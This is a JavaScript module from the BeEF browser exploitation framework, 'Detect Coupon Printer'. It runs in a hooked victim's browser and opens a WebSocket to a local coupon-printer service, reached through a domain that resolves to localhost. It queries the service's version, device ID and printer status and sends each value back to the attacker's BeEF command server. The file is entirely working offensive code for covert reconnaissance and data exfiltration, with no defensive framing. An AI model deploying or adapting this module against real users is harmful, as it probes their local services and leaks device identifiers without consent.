64 lines
2.4 KiB
JavaScript
64 lines
2.4 KiB
JavaScript
//
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// Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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if (!beef.browser.hasWebSocket()) {
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beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets');
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
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}
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//var url = 'ws://127.0.0.1:2687';
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//var url = 'ws://127.0.0.1:26876';
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var url = 'wss://printer.cpnprt.com:4004'; // resolves to 127.0.0.1
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beef.debug('[Detect Coupon Printer] Opening WebSocket connection: ' + url);
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const socket = new WebSocket(url);
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socket.addEventListener('open', function (event) {
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// Get Coupon Printer Service version
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socket.send('method=GetVersion;input=Y|;separator=|');
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// Device ID
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socket.send('method=GetDeviceID;input=Y|;separator=|');
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// Check Printer
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socket.send('method=CheckPrinter;input=Y|;separator=|');
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});
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socket.onerror = function(error) {
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beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error));
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error());
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};
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socket.onclose = function(event) {
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beef.debug('[Detect Coupon Printer] Disconnected from WebSocket.');
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};
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socket.addEventListener('message', function (event) {
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beef.debug('[Detect Coupon Printer] WebSocket Response:' + event.data);
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try {
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var result = JSON.parse(event.data);
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if (result['GetVersion']) {
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beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success());
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} else if (result['GetDeviceID']) {
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beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success());
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} else if (result['CheckPrinter']) {
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beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success());
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}
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} catch(e) {
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beef.debug('Could not parse WebSocket response JSON: ' + event.data);
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}
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});
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});
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